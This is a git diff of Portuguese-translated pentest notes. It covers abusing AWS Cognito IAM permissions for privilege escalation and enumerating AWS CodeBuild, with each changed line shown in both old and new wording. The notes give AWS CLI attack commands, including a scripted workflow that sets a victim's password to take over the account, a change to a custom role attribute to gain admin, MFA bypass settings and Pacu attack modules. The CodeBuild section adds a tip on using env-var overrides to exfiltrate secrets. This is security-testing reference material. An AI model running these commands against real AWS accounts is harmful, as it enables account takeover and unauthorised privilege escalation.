Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **forma de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuário irá **permitir que ele acesse o role autenticado configurado no Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Também é possível **abusar desta permissão para permitir basic auth**:
Também é possível **abusar dessa permissão para permitir basic auth**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potential Impact**: Comprometer o IAM role autenticado configurado dentro do identity pool.
**Impacto Potencial**: Comprometer a configured authenticated IAM role inside the identity pool.
### `cognito-idp:AdminAddUserToGroup`
Essa permissão permite **adicionar um Cognito user a um Cognito group**, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios **melhores** ou **IAM roles diferentes**:
Esta permissão permite **adicionar um usuário Cognito a um grupo Cognito**, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com **privilégios melhores** ou **diferentes IAM roles**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Impacto Potencial:** Privesc para outros Cognito groups e IAM roles anexados a User Pool Groups.
**Impacto potencial:** Privesc para outros Cognito groups e IAM roles anexadas a User Pool Groups.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Um atacante com essas permissões poderia **criar/atualizar grupos** com **cada IAM role que pode ser usada por um Cognito Identity Provider comprometido** e colocar um usuário comprometido no grupo, acessando todas essas roles:
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as IAM roles que podem ser utilizadas por um Cognito Identity Provider comprometido** e tornar um usuário comprometido membro do grupo, acessando todas essas roles:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Impacto potencial:** Privesc para outras Cognito IAM roles.
**Impacto Potencial:** Privesc para outras roles IAM do Cognito.
### `cognito-idp:AdminConfirmSignUp`
Essa permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode fazer login em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la usando essa permissão.
Essa permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode se cadastrar em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la com essa permissão.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Impacto Potencial:** Indirect privesc ao identity pool IAM role para usuários autenticados se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades da aplicação que permitem confirmar qualquer conta.
**Impacto Potencial:** Indirect privesc to the identity pool IAM role for authenticated users se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades do app, permitindo confirmar qualquer conta.
### `cognito-idp:AdminCreateUser`
Essa permissão permitiria que um atacante criasse um novo usuário dentro do user pool. O novo usuário é criado como ativado, mas precisará alterar sua senha.
Essa permissão permitiria a um attacker criar um novo usuário dentro do user pool. O novo usuário é criado como enabled, mas precisará alterar sua senha.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que permitem criar qualquer usuário
**Impacto Potencial:** Privesc direto na identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário
### `cognito-idp:AdminEnableUser`
Essa permissão pode ajudar em um cenário muito específico em que um atacante encontrou as credenciais de um usuário desativado e precisa **ativá-lo novamente**.
Esta permissão pode ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e precisa **habilitá-lo novamente**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Impacto Potencial:** Privesc indireta para a identity pool IAM role para usuários autenticados e para as permissões do usuário se o atacante tivesse credenciais de um usuário desabilitado.
**Impacto potencial:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
Essa permissão permite efetuar login com o [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
Essa permissão permite fazer login com o [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
### `cognito-idp:AdminSetUserPassword`
Essa permissão permitiria que um atacante **alterasse a senha de qualquer usuário**, permitindo-lhe se passar por qualquer usuário (que não tenha MFA habilitado).
Essa permissão permitiria que um atacante **definisse uma senha conhecida para qualquer usuário**, geralmente resultando em um **comprometimento direto da conta** (especialmente se a vítima não tiver MFA habilitado, ou se o MFA não for imposto para o fluxo/cliente de autenticação relevante).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
--password <value> \
--permanent
```
**Impacto Potencial:** Privesc direto para potencialmente qualquer usuário, proporcionando acesso a todos os grupos dos quais cada usuário é membro e acesso ao Identity Pool authenticated IAM role.
Fluxo de trabalho comum:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Related permission: `cognito-idp:AdminResetUserPassword` pode ser usada para forçar um fluxo de reset para uma vítima (o impacto depende de como a recuperação de senha é implementada e o que o atacante pode interceptar ou controlar).
**Potential Impact:** Tomada de conta de usuários arbitrários; acesso a privilégios em nível de aplicação (groups/roles/claims) e a qualquer recurso a jusante que confie em tokens do Cognito; possível acesso às IAM roles autenticadas do Identity Pool.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
**AdminSetUserSettings**: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
**AdminSetUserSettings**: Um atacante poderia potencialmente abusar desta permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um usuário, permitindo o bypass da proteção MFA.
**SetUserMFAPreference:** Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para realizar bypass na proteção de MFA.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Semelhante à anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool para bypass a proteção de MFA.
**SetUserPoolMfaConfig**: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool, permitindo bypass da proteção MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Também é possível atualizar o user pool para alterar a política de MFA. [Veja o CLI aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** Também é possível atualizar o user pool para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Impacto Potencial:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça; isso poderia permitir contornar a proteção MFA.
### `cognito-idp:AdminUpdateUserAttributes`
Um atacante com essa permissão poderia alterar o e-mail, o número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\
Isso permite alterar um e-mail ou número de telefone e marcá-lo como verificado.
Um atacante com essa permissão pode alterar **qualquer atributo mutável** de um usuário do User Pool (incluindo atributos `custom:*`) para tentar obter privilégios em uma aplicação subjacente.
Um padrão comum de alto impacto é **claim-based RBAC** implementado usando **custom attributes** (por exemplo `custom:role=admin`). Se a aplicação confiar nessa claim, atualizá-la e então reautenticar pode contornar a autorização sem modificar a aplicação.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Impacto Potencial:** Potencial privesc indireto na aplicação subjacente que usa Cognito User Pool e que concede privilégios com base em atributos do usuário.
Exemplo: atualizar seu próprio role e refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Impacto Potencial:** Indirect privesc em aplicações que confiam em atributos/claims do Cognito para autorização; capacidade de modificar outros atributos relevantes para a segurança (por exemplo, definir `email_verified` ou `phone_number_verified` como `true` pode ser importante em algumas aplicações).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer tipo de método de autenticação, não possuir client secret, ter a revogação de tokens desabilitada, permitir que os tokens sejam válidos por um período mais longo...
Um atacante com essa permissão poderia **create a new User Pool Client less restricted** do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer método de autenticação, não ter nenhum secret, ter token revocation desabilitada e permitir que tokens sejam válidos por um período mais longo...
O mesmo pode ser feito se, em vez de criar um novo client, um **existente for modificado**.
O mesmo pode ser feito se, em vez de criar um novo client, um **existing one is modified**.
No [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Impacto Potencial:** Potencial privesc indireto ao usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e permite que um attacker faça login com um usuário que ele conseguiu criar.
**Potential Impact:** Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e possibilita que um atacante faça login com um user que ele conseguiu criar.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
An attacker poderia abusar desta permissão para criar usuários fazendo upload de um csv com novos usuários.
Um atacante poderia abusar dessa permissão para criar usuários fazendo o upload de um CSV com novos usuários.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(No caso de criar um novo import job você pode também precisar da iam passrole permission — ainda não testei isso).
(No caso de criar um novo import job você também pode precisar da permissão iam passrole, ainda não testei.)
**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que podem criar qualquer usuário.
**Impacto Potencial:** Privesc direto para a identity pool IAM role para authenticated users. Privesc indireto para outras funcionalidades do app capazes de criar qualquer usuário.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Um atacante poderia criar um novo identity provider para então conseguir **fazer login através deste provider**.
Um atacante poderia criar um novo identity provider para então conseguir **login through this provider**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Impacto Potencial:** privesc direto ao identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário.
**Impacto Potencial:** Privesc direto para o identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades da aplicação que permitam criar qualquer usuário.
### cognito-sync:\* Análise
Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são muito úteis do ponto de vista de um atacante**.
Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões fornecidas não são muito úteis do ponto de vista de um atacante**.
Essa permissão permite ler informações de uso de Identity Pools e dos Identity IDs dentro dos Identity Pools (o que não é informação sensível).\
Identity IDs podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define isso como um **jogo salvo**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../../aws-services/aws-cognito-enum/index.html) como acessar essa informação.
Essa permissão permite ler informações de uso de Identity Pools e Identity IDs dentro dos Identity Pools (o que não é informação sensível).\
Identity IDs podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define como um **saved game**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../../aws-services/aws-cognito-enum/index.html) como acessar essa informação.
Um atacante também poderia usar essas permissões para **inscrever-se em um Cognito stream que publica mudanças** nesses datases ou em um **lambda que é acionado por eventos do cognito**. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
Um atacante também poderia usar essas permissões para **inscrever-se em um Cognito stream que publica mudanças** nesses datasets ou em uma **lambda que dispara em cognito events**. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
### Ferramentas Automáticas
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em atributos customizáveis modificáveis, usable identity pool credentials, assumable roles em id tokens, etc.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em custom attributes modificáveis, credenciais de identity pool utilizáveis, assumable roles em id tokens, etc.
Para uma descrição das funções dos módulos veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Uso
Exemplo de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:
Amostra de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
Exemplo de uso do cognito\_\_enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em Python que implementa diferentes ataques no Cognito, incluindo uma privesc escalation.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privesc.
#### Instalação
```bash

View File

@@ -1,30 +1,30 @@
# AWS - Enumeração do Codebuild
# AWS - Codebuild Enum
{{#include ../../../banners/hacktricks-training.md}}
## CodeBuild
AWS **CodeBuild** é reconhecido como um **serviço de integração contínua totalmente gerenciado**. O principal objetivo deste serviço é automatizar a sequência de compilação do código-fonte, execução de testes e empacotamento do software para fins de implantação. O benefício predominante oferecido pelo CodeBuild reside em sua capacidade de aliviar a necessidade de os usuários provisionarem, gerenciarem e escalarem seus servidores de build. Essa conveniência se deve ao fato de que o próprio serviço gerencia essas tarefas. As características essenciais do AWS CodeBuild incluem:
AWS **CodeBuild** é reconhecido como um **serviço de integração contínua totalmente gerenciado**. O propósito principal deste serviço é automatizar a sequência de compilação do código-fonte, execução de testes e empacotamento do software para fins de implantação. O benefício predominante oferecido pelo CodeBuild reside em sua capacidade de aliviar a necessidade de os usuários provisionarem, gerenciarem e escalarem seus servidores de build. Essa conveniência ocorre porque o serviço gerencia essas tarefas. Recursos essenciais do AWS CodeBuild englobam:
1. **Serviço Gerenciado**: O CodeBuild gerencia e escala os servidores de build, liberando os usuários da manutenção do servidor.
2. **Integração Contínua**: Ele se integra ao fluxo de trabalho de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação de software.
3. **Produção de Pacotes**: Após as fases de build e teste, ele prepara os pacotes de software, tornando-os prontos para implantação.
1. **Serviço gerenciado**: CodeBuild gerencia e escala os servidores de build, liberando os usuários da manutenção de servidores.
2. **Integração contínua**: Ele se integra ao fluxo de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação do software.
3. **Geração de pacotes**: Após as fases de build e teste, prepara os pacotes de software, deixando-os prontos para implantação.
O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, aumentando a eficiência e a confiabilidade do pipeline de CI/CD (Integração Contínua/Implantação Contínua).
O AWS CodeBuild integra-se perfeitamente com outros serviços da AWS, aumentando a eficiência e confiabilidade da pipeline CI/CD (Integração Contínua/Entrega Contínua).
### **Credenciais do Github/Gitlab/Bitbucket**
#### **Credenciais de fonte padrão**
#### **Credenciais de origem padrão**
Esta é a opção legada onde é possível configurar algum **acesso** (como um token ou aplicativo do Github) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
Esta é a opção legada em que é possível configurar algum acesso (como um token ou app do Github) que será compartilhado entre projetos do CodeBuild para que todos os projetos possam usar esse conjunto configurado de credenciais.
As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild** e não nenhuma maneira pública de recuperá-las das APIs da AWS.
As credenciais armazenadas (tokens, senhas...) são gerenciadas pelo CodeBuild e não existe nenhuma forma pública de recuperá-las via APIs da AWS.
#### Credencial de fonte personalizada
#### **Credencial de origem personalizada**
Dependendo da plataforma do repositório (Github, Gitlab e Bitbucket), diferentes opções são fornecidas. Mas, em geral, qualquer opção que requer **armazenar um token ou uma senha será armazenada como um segredo no gerenciador de segredos**.
Dependendo da plataforma de repositório (Github, Gitlab e Bitbucket), são fornecidas opções diferentes. Mas, em geral, qualquer opção que exija armazenar um token ou uma senha irá armazená-lo como um segredo no Secrets Manager.
Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores em vez de apenas usar o padrão configurado.
Isso permite que projetos do CodeBuild diferentes usem acessos configurados distintos aos provedores, em vez de apenas usar o acesso padrão configurado.
### Enumeração
```bash
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
> [!TIP]
> Se você tiver `codebuild:StartBuild`, lembre-se que frequentemente você pode sobrescrever env vars em tempo de build (`--environment-variables-override`). Isso é suficiente para alguns ataques mesmo sem `UpdateProject` ou `buildspec` overrides (for example: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
### Privesc
Na página a seguir, você pode verificar como **abusar das permissões do codebuild para escalar privilégios**:
Na página a seguir, você pode ver como **abuse codebuild permissions to escalate privileges**:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -67,7 +70,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do codeb
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
{{#endref}}
## References
## Referências
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)